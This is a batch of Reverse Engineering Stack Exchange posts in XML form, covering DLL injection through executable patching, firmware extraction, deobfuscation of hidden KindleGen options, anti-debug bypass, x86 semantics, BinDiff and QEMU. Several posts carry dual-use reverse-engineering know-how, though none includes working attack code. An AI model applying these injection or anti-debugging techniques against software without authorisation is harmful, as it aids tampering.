  <row Id="14117" PostTypeId="1" AcceptedAnswerId="14173" CreationDate="2016-12-05T22:29:59.310" Score="1" ViewCount="349" Body="&lt;p&gt;Not sure if the title is that telling but what I want to do is hack into an executable and do as little as necessary to get the code from my DLL running since I want to write as few lines of assembly code as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have the place where I'd like to jump in and I am ready to insert the necessary assembly instructions into the executable using ollydbg but since I never did that before I'm afraid I need a little help on those last steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is basically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Force the executable to load my DLL&lt;/li&gt;&#xA;&lt;li&gt;Push a few parameters onto the stack for &lt;code&gt;init_my_dll()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;call &lt;code&gt;init_dll()&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;but I'm not sure what's the best way to accomplish that. Is there a straight forward way to get this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw: Is what I'm doing here actually called &quot;dll-injection&quot;? &lt;/p&gt;&#xA;" OwnerUserId="18287" LastActivityDate="2016-12-14T22:54:07.123" Title="What is the quickest way to run code of my own DLL?" Tags="|ollydbg|dll|dll-injection|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14118" PostTypeId="1" CreationDate="2016-12-06T02:52:29.517" Score="1" ViewCount="1168" Body="&lt;p&gt;I am trying to get to the root file system of a Yi Dome Camera and I haven't done this before. Can anyone point me in the right direction? I ran binwalk on the firmware which showed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&#xA;1904862       0x1D10DE        MySQL MISAM compressed data file Version 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -D '.sql:myd.myisamchk' 1.9.1.0E_201608251601home_v200m&#xA;&#xA;drwxr-xr-x 2 root root       4096 Dec  5 21:43 _1.9.1.0E_201608251601home_v200m.extracted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The extracted directory has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-r--r-- 1 root root 38712 Dec  5 21:43 1D10DE.myd.myisamchk&#xA;&#xA;root@kali:~/Downloads/_1.9.1.0E_201608251601home_v200m.extracted# `myisamchk 1D10DE.myd.myisamchk`&#xA;myisamchk: error: '1D10DE.myd.myisamchk' is not a MyISAM-table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18328" LastActivityDate="2017-07-22T19:39:31.347" Title="Binwalk and myisamchk Yi Dome Cam firmware" Tags="|binary-analysis|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14119" PostTypeId="2" ParentId="4746" CreationDate="2016-12-06T10:59:35.757" Score="1" Body="&lt;p&gt;I used &lt;a href=&quot;http://www.driverscape.com/download/stm-device-in-dfu-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;these drivers&lt;/a&gt; which seemed to work. &lt;a href=&quot;http://www.open-tx.org/2013/07/18/taranis-windows-usb-driver-for-manual-installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;These&lt;/a&gt; also installed but didn't make the device work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea of their authenticity.&lt;/p&gt;&#xA;" OwnerUserId="18331" LastEditorUserId="18331" LastEditDate="2016-12-06T12:35:17.433" LastActivityDate="2016-12-06T12:35:17.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14120" PostTypeId="2" ParentId="14115" CreationDate="2016-12-06T12:51:47.933" Score="1" Body="&lt;p&gt;You don't have the source code, so I assume you don't have any debug information with your binary either. This is just a guess, but without them, I suppose your BL is seen as a mere branch, not a subroutine call. For further explanation, see &lt;a href=&quot;https://stackoverflow.com/questions/18841603/skip-library-function-in-arm-assembly-gdb/18866424#comment27821846_18847660&quot;&gt;this comment&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18275" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-12-06T12:51:47.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14121" PostTypeId="1" AcceptedAnswerId="14134" CreationDate="2016-12-07T08:53:18.370" Score="4" ViewCount="2914" Body="&lt;p&gt;The Amazon KindleGen command line app (&lt;a href=&quot;https://www.amazon.com/gp/feature.html?docId=1000765211&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows, macOS, Linux&lt;/a&gt; download links) has several undocumented command line parameters that I'm curious about. One of these hidden command line parameters is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-dont_append_source&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this string can't be found with the &lt;strong&gt;strings&lt;/strong&gt; app or any of the many dissassemblers that I tried. It's therefore highly likely that some of the command line parameters have been obfuscated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are at least 8 of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;option: (hidden) Skip the HTML cleanup&#xA;option: (hidden) creates json position map file for debugging purpose.&#xA;option: (hidden) creates mobi for older devices.&#xA;option: (hidden) Using manual(tag based) fragmentation mode for building Webkit reader compatible mobi.&#xA;option: (hidden) Webkit reader Compatible mobi will be built&#xA;option: (hidden) fragsize&#xA;option: (hidden) custom image size will be used for resizing&#xA;option: (hidden) amazon creator tool or pipeline&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there any special tools out there that I could use to deobfuscate these hidden command line parameters?&lt;/p&gt;&#xA;" OwnerUserId="12359" LastActivityDate="2016-12-10T08:33:15.873" Title="How to find obfuscated hidden command line parameters?" Tags="|disassemblers|command-line|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14122" PostTypeId="1" CreationDate="2016-12-07T09:13:39.513" Score="3" ViewCount="553" Body="&lt;p&gt;I imported my exe file in OllyDB and when I searched for the names(labels) present, I was able to see all the function declarations, class names etc. I didn't have my PDB in the EXE path. Why does this occur? Should I enable some obfuscation settings during my build?&lt;/p&gt;&#xA;" OwnerUserId="18343" LastEditorUserId="60" LastEditDate="2016-12-08T20:22:28.910" LastActivityDate="2016-12-08T20:22:28.910" Title="Symbols visible in EXE file without PDB" Tags="|symbols|debugging-symbols|pdb|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14123" PostTypeId="2" ParentId="14121" CreationDate="2016-12-07T12:59:36.350" Score="-1" Body="&lt;p&gt;If you have basic reversing skills, then load the target in a debugger and put a breakpoint on GetCommandLine and start tracing from there until you reach where the app compares your command line parameter with the obfuscated ones.&lt;/p&gt;&#xA;" OwnerUserId="18305" LastActivityDate="2016-12-07T12:59:36.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14125" PostTypeId="2" ParentId="14089" CreationDate="2016-12-07T19:20:42.413" Score="4" Body="&lt;p&gt;I found  a project which has some rudimentary documentation on the file format and even some Python code to parse it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/eriksoe/Schockabsorber&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/eriksoe/Schockabsorber&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It hasn't been updated since 2013 but still may be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also some (rather high level) information over at the Archive Team:&#xA;&lt;a href=&quot;http://fileformats.archiveteam.org/wiki/Shockwave_(Director)&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fileformats.archiveteam.org/wiki/Shockwave_(Director)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no single solution to reversing undocumented file formats. There are basically two approaches you can try:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Observation of the producer.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you happen to have access to a producer of the files (such as a compiler), then you can compile some simple code, look at the output, make some changes, compile it again and compare with the previous output. If you're lucky the changes will be obvious and give at least &lt;em&gt;some&lt;/em&gt; clues about the format structure.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Observation of the consumer.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have a consumer of the file format (such as a player/viewer app), you can try to observe how it parses the file and what steps it performs. You can use dynamic RE, such as monitoring file accesses and memory accesses to the read data, or fully static RE, i.e. just disassemble the parsing code and deduce what it expects and how it deals with the parsed data. Dynamic approach may be easier in practice but it only covers the actually parsed data, not all the possible variations supported by the parser (so having a broad corpus of input files is essential). Static RE is in general more difficult but is the only sure way to find out the real range of supported features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, both static and dynamic RE may be applied to the producer as well, although in that case you'd have to RE the binary format producing part (output file writer), plus some of the code which produces data for the writer (e.g. the compiler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Found an old tool called dirOpener &lt;a href=&quot;https://web.archive.org/web/20010304151056/http://www.j-roen.net/diropener/wont/wont.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;(saved thanks to the Web Archive!)&lt;/a&gt; and the site says the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The director engine(that translates machine code into actions on your&#xA;  screen) however does not understand any lingo. Every time you save&#xA;  your movie, close your script window or press the recompile button,&#xA;  your lingo code is compiled into machine code that can be executed by&#xA;  the director engine.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After your lingo code has been compiled director no longer needs it to&#xA;  execute your file, it just needs the machine code it generated from&#xA;  your lingo. For you to be able to make changes to your code however,&#xA;  the lingo is left inside the file. That is, as long as it's&#xA;  unprotected. The moment you protect your director files the lingo code&#xA;  is stripped from the file. Also a certain flag is set so that the&#xA;  director authoring environment can tell it's dealing with a protected&#xA;  file and the extention is changed to .dxr.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what they mean by &quot;machine code&quot; here. I suspect it may be some kind of bytecode, similar to the AS3 bytecode in Flash, so you &lt;em&gt;may&lt;/em&gt; be able to come up with some kind of decompilation process, but don't get your hopes too up.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-07T19:20:42.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14127" PostTypeId="1" AcceptedAnswerId="14131" CreationDate="2016-12-07T22:28:29.853" Score="1" ViewCount="1958" Body="&lt;p&gt;i am trying to debug and find the encryption password algorithm in a Windows Application.&#xA;Whenever i try to debug, setting a breakpoint or not, the application gives a exception: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sE4rX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sE4rX.png&quot; alt=&quot;exception message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it some kind of anti-debug that creates this exception? if yes, anyway i can  bypass it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another information, the application has a login splash screen and when i try to run the debugger this screen shows and then the exception is raised.&lt;/p&gt;&#xA;" OwnerUserId="18353" LastEditorUserId="18353" LastEditDate="2016-12-07T22:37:22.520" LastActivityDate="2016-12-08T08:59:59.913" Title="how to bypass exception to debug EXE" Tags="|ida|windows|debugging|anti-debugging|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14128" PostTypeId="1" AcceptedAnswerId="14133" CreationDate="2016-12-08T04:57:20.703" Score="2" ViewCount="5947" Body="&lt;p&gt;I am analyzing a sequence of &lt;code&gt;x86&lt;/code&gt; instructions, and become confused with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;135328495: sbb edx, edx&#xA;135328497: neg edx&#xA;135328499: test edx, edx&#xA;135328503: jz 0x810f31c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that &lt;code&gt;sbb&lt;/code&gt; equals to &lt;code&gt;des = des - (src + CF)&lt;/code&gt;, in other words, the first instruction somehow put &lt;code&gt;-CF&lt;/code&gt; into &lt;code&gt;edx&lt;/code&gt;. Then it &lt;code&gt;negtive&lt;/code&gt; &lt;code&gt;-CF&lt;/code&gt; into &lt;code&gt;CF&lt;/code&gt;, and &lt;code&gt;test&lt;/code&gt; whether &lt;code&gt;CF&lt;/code&gt; equals to zero??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But note that &lt;code&gt;jz&lt;/code&gt; checks flag &lt;code&gt;ZF&lt;/code&gt;, not &lt;code&gt;CF&lt;/code&gt;! So basically what is the above code sequence trying to do? This is a legal &lt;code&gt;x86&lt;/code&gt; instruction sequence, produced by &lt;code&gt;g++&lt;/code&gt; version &lt;code&gt;4.6.3&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2017-02-07T00:36:55.440" Title="x86 sbb with same register as first and second operand" Tags="|assembly|x86|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14129" PostTypeId="1" CreationDate="2016-12-08T07:54:55.720" Score="2" ViewCount="1523" Body="&lt;p&gt;I've started using bindiff recently and struggle to understand matching algorithm.&#xA;I've read several articles like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T. Dullien and R. Rolles. Graph-based comparison of executable objects, &#xA;BinSlayer, Accurate Comparison of Binary Executables,&#xA;and also bindiff manual &lt;a href=&quot;https://www.zynamics.com/bindiff/manual/#chapUnderstanding&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.zynamics.com/bindiff/manual/#chapUnderstanding&lt;/a&gt;&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1475/how-does-bindiff-work&quot;&gt;question about bindiff&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And all articles differs on explaining matching algorithm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that I can't understand is difference between functions signatures and functions attributes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From manual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signature consists of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Number of codeblocks &lt;/li&gt;&#xA;&lt;li&gt;Number of edges between codeblocks &lt;/li&gt;&#xA;&lt;li&gt;Number of calls to subfunctions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once the two sets of signatures (for the two executables) have been generated, initial matches are created. A match is created if a signature occurs once (and only once) in both examined subsets of signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the signature of functions are used to construct initial match.&#xA;But after that article tells us about function attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attributes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BinDiff has a list of function attributes (hash matching, name matching, etc.) suitable for generating matches. It starts on a global level, considering all functions of the binary and calculates the first attribute for every function. After the initial global matching step the parents (callers) and children (callees) of each new match are considered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how the signatures differs from attributes? Both of them are used to construct initial matches. What strategy is first applied to construct initial match: signature matching or functions byte hash matching? &lt;/p&gt;&#xA;" OwnerUserId="15644" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2018-05-28T08:25:09.273" Title="Bindiff matching algorithm" Tags="|tools|tool-bindiff|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14130" PostTypeId="1" CreationDate="2016-12-08T08:06:16.097" Score="3" ViewCount="1338" Body="&lt;p&gt;This seems to be a pretty basic question but I can't seem to find a good answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently just following &lt;a href=&quot;https://w00tsec.blogspot.ca/2013/09/analyzing-and-running-binaries-from.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://w00tsec.blogspot.ca/2013/09/analyzing-and-running-binaries-from.html&lt;/a&gt; to learn more about emulating with qemu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the advantages and disadvantages between:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chroot . ./qemu-mips-static bin/busybox (example)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compared to following the instructions found here: &lt;a href=&quot;https://people.debian.org/~aurel32/qemu/mips/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://people.debian.org/~aurel32/qemu/mips/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-mips -M malta kernel &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="17998" LastEditorUserId="17998" LastEditDate="2016-12-09T05:55:23.307" LastActivityDate="2020-01-24T12:57:45.140" Title="When to use qemu user mode versus system mode?" Tags="|firmware|embedded|qemu|emulation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14131" PostTypeId="2" ParentId="14127" CreationDate="2016-12-08T08:59:59.913" Score="3" Body="&lt;p&gt;It seems this exception is used to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/xcb2z8hs&quot; rel=&quot;nofollow noreferrer&quot;&gt;set the thread name for the debugger&lt;/a&gt;. You should be able to safely ignore it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-08T08:59:59.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14132" PostTypeId="2" ParentId="14122" CreationDate="2016-12-08T20:21:43.317" Score="5" Body="&lt;p&gt;&lt;code&gt;dynamic_cast&lt;/code&gt; requires a &lt;a href=&quot;http://en.cppreference.com/w/cpp/language/dynamic_cast&quot; rel=&quot;noreferrer&quot;&gt;runtime check that the cast is valid at execution time&lt;/a&gt; and the usual implementation uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Run-time_type_information&quot; rel=&quot;noreferrer&quot;&gt;RTTI (Run-time type information)&lt;/a&gt; attached to all classes participating in the casts. However, since it's not easy to narrow down the classes that may be possibly casted, in practice the compiler emits RTTI for &lt;em&gt;all&lt;/em&gt; polymorphic classes (i.e. those that have virtual methods). While the RTTI details are not specified by the C++ standard, the Visual C++ implementation retains full class names. You can find more details in &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;noreferrer&quot;&gt;my article on the topic&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-08T20:21:43.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14133" PostTypeId="2" ParentId="14128" CreationDate="2016-12-09T00:09:49.387" Score="4" Body="&lt;p&gt;The sbb edx, edx statement writes either 0 or -1 to edx, depending only on the value of the carry flag. The following neg edx simply reflects the value of the initial carry flag. Thus the jz in your sequence is nothing else than a jnc statement (jmp on non-carry).&#xA;However, this sequence might be found with an additional, preceding neg eax. The neg statement clears the carry in the zero case, otherwise sets it. This sequence might be used as a test for true or false, depending whether edx has some arbitrary nonzero value (true) or zero value (false). The sequence with the additional neg would then look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;neg edx          ; clears the carry flag in the zero case, otherwise sets it&#xA;sbb edx, edx     ; if (cf == 0) then edx == 0, else edx == -1&#xA;neg edx          ; remains zero if initially edx has been zero, else 1&#xA;test edx, edx    ;&#xA;jz toSomewhere   ; jmp on edx having been zero initially&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw, this is one of the questions I am planning for a reversing quiz.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2016-12-09T00:19:16.057" LastActivityDate="2016-12-09T00:19:16.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14134" PostTypeId="2" ParentId="14121" CreationDate="2016-12-09T05:49:10.010" Score="6" Body="&lt;p&gt;those command line switches seems to be plainly visible in several languages &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;kind:&gt;kindlegen.exe -dont_append_source&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Info:I9018:option: -donotaddsource: Source files will not be added&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;kind:&gt;strings -o kindlegen.exe | grep -i donotaddsource&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5130184:option: -donotaddsource: Source files will not be added&#xA;5208360:Option: -donotaddsource: Quelldateien werden nicht hinzugef&#xA;5287768:option: -donotaddsource: Les fichiers sources se seront pas ajout&#xA;5367504:opzione: -donotaddsource: I file sorgente non verranno aggiunti&#xA;5448722:n: -donotaddsource: no se agregan los archivos fuente&#xA;5482150:-donotaddsource&#xA;5524610:: -donotaddsource:&#xA;5595760:o:-donotaddsource: Os arquivos de origem n&#xA;5673552:: -donotaddsource:&#xA;5748880:optie: -donotaddsource: bronbestanden worden niet toegevoegd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;binary dump at offset as shown by strings.exe&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kind:\&amp;gt;xxd -s 5130184 -g1 -l0x70 kindlegen.exe&#xA;04e47c8: 6f 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00  o.p.t.i.o.n.:. .&#xA;04e47d8: 2d 00 64 00 6f 00 6e 00 6f 00 74 00 61 00 64 00  -.d.o.n.o.t.a.d.&#xA;04e47e8: 64 00 73 00 6f 00 75 00 72 00 63 00 65 00 3a 00  d.s.o.u.r.c.e.:.&#xA;04e47f8: 20 00 53 00 6f 00 75 00 72 00 63 00 65 00 20 00   .S.o.u.r.c.e. .&#xA;04e4808: 66 00 69 00 6c 00 65 00 73 00 20 00 77 00 69 00  f.i.l.e.s. .w.i.&#xA;04e4818: 6c 00 6c 00 20 00 6e 00 6f 00 74 00 20 00 62 00  l.l. .n.o.t. .b.&#xA;04e4828: 65 00 20 00 61 00 64 00 64 00 65 00 64 00 00 00  e. .a.d.d.e.d...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;searching in  windbg&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kindle:\&amp;gt;echo get bounds of exe &amp;amp; cdb -c &quot;lm m kin*;q&quot; kindlegen.exe | grep def&#xA;get bounds of exe&#xA;00400000 00bdd000   kindlegen   (deferred)&#xA;kindle:\&amp;gt;echo search string within bounds &amp;amp; cdb -c &quot;lm m kin*;s -u kindlegen L?(0xbdd000&#xA;-0x400000) donotaddsource: ; q&quot; kindlegen.exe | grep quit: -B 11&#xA;search for emitted string within bounds&#xA;start    end        module name&#xA;00400000 00bdd000   kindlegen   (deferred)&#xA;008e59da  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;008f8b3a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;0090c16a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;0091f8e4  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;0093361a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;00945e88  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;00957476  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;0096a456  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;0097caa0  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;maybe all the commandline switches&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; .foreach (place { s -[1]u 400000 bdd000 option:}) {du /c100 place }&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00839650  &quot;option: {0}&quot;&#xA;008e5478  &quot;option: -preserve_img: Original Image size will be preserved&quot;&#xA;008e54f8  &quot;option: -image64K: The maximum size of the image is restricted to 64K&quot;&#xA;008e5588  &quot;option: -image128K: The maximum size of the image is restricted to 128K&quot;&#xA;008e5618  &quot;option: -gif: gif image conversion (no jpeg)&quot;&#xA;008e5674  &quot;option: -c0: No compression&quot;&#xA;008e56b0  &quot;option: -c1: Standard DOC compression&quot;&#xA;008e5700  &quot;option: -c2: Kindle Huffdic compression&quot;&#xA;008e5750  &quot;option: -allscript: Authorize all scripting&quot;&#xA;008e57a8  &quot;option: -western: Forced Windows-1252 output&quot;&#xA;008e5808  &quot;option: -verbose: Verbose output&quot;&#xA;008e5850  &quot;option: -noparseback: Parse back won't be built&quot;&#xA;008e58b0  &quot;option: -regserver: The XOPFPlugin type library has been registered&quot;&#xA;008e5938  &quot;option: -unregserver: The XOPFPlugin type library has been unregistered&quot;&#xA;008e59c8  &quot;option: -donotaddsource: Source files will not be added&quot;&#xA;008e5a38  &quot;option: (hidden) Skip the HTML cleanup&quot;&#xA;008e5a88  &quot;option: (hidden) creates json position map file for debugging purpose.&quot;&#xA;008e5b18  &quot;option: (hidden) creates mobi for older devices.&quot;&#xA;008e5b80  &quot;option: (hidden) Using manual(tag based) fragmentation mode for building Webkit reader compatible mobi.&quot;&#xA;008e5c50  &quot;option: (hidden) Webkit reader Compatible mobi will be built&quot;&#xA;008e5ccc  &quot;option: (hidden) fragsize&quot;&#xA;008e5d00  &quot;option: (hidden) custom image size will be used for resizing&quot;&#xA;008e5d80  &quot;option: (hidden) amazon creator tool or pipeline&quot;&#xA;008e5de8  &quot;option: -genhdcontainers: eMM will be built with given resolutions&quot;&#xA;0090bbc0  &quot;option: -preserve_img: La taille d'origine de l'image sera préservée&quot;&#xA;0090bc50  &quot;option: -image64K: La taille maximum de l'image est limitée à 64K&quot;&#xA;0090bcd8  &quot;option: -image128K: La taille maximum de l'image est limitée à 128K&quot;&#xA;0090bd60  &quot;option: -gif: Conversion d'image gif (pas jpeg)&quot;&#xA;0090bdc0  &quot;option: -c0: Aucune compression&quot;&#xA;0090be00  &quot;option: -c1: Compression DOC standard&quot;&#xA;0090be50  &quot;option: -c2: Compression Kindle Huffdic&quot;&#xA;0090bea0  &quot;option: -allscript: Autorise toutes les scénarisations&quot;&#xA;0090bf10  &quot;option: -western: Sortie Windows-1252 forcée&quot;&#xA;0090bf70  &quot;option: -verbose: Sortie Verbose&quot;&#xA;0090bfb8  &quot;option: -noparseback: Parse back ne sera pas construit&quot;&#xA;0090c028  &quot;option: -regserver: Le type de bibliothèque XOPFPlugin a été enregistré&quot;&#xA;0090c0b8  &quot;option: -unregserver: Le type de bibliothèque XOPFPlugin a été désenregistré&quot;&#xA;0090c158  &quot;option: -donotaddsource: Les fichiers sources se seront pas ajoutés&quot;&#xA;0090c1e0  &quot;option: (masquée) Sauter le nettoyage HTML&quot;&#xA;0090c238  &quot;option: (masquée) Crée fichier de carte de position json dans le but d'un débogage.&quot;&#xA;0090c2e0  &quot;option: (masquée) crée un mobi pour les appareils plus anciens.&quot;&#xA;0090c360  &quot;option: (masquée) Utilisation du mode de fragmentation manuelle (basé sur les balises) pour construire un lecteur Webkit compatible mobi.&quot;&#xA;0090c478  &quot;option: (masquée) Un lecteur Webkit compatible mobi sera construit&quot;&#xA;0090c500  &quot;option: (masquée) fragsize&quot;&#xA;0090c538  &quot;option: (masquée) la taille d'image personnalisée sera utilisée pour redimmensionement&quot;&#xA;0090c5e8  &quot;option: (caché) amazon créateur outil ou d'un pipeline&quot;&#xA;009bbe70  &quot;option: {0}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the argument strings are hashed with md5 and compared to blob it appears as Guntram blohm commented to your original query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with a fleet glance it appears the hashing function is an MD5 implementation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address                                    Hex dump          Command                                       Comments&#xA;006836F0 thiscallhashestheargstring (MD5)  /$  83EC 68       SUB     ESP, 68                               ; kindlegen.thiscallhashestheargstring (MD5)(guessed Arg1)&#xA;006836F3                                   |.  8B50 08       MOV     EDX, DWORD PTR DS:[EAX+8]&#xA;006836F6                                   |.  8B48 04       MOV     ECX, DWORD PTR DS:[EAX+4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the possible md5 constants are visible inside the procedure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Command                                       Comments&#xA;006838FD  LEA     EAX, 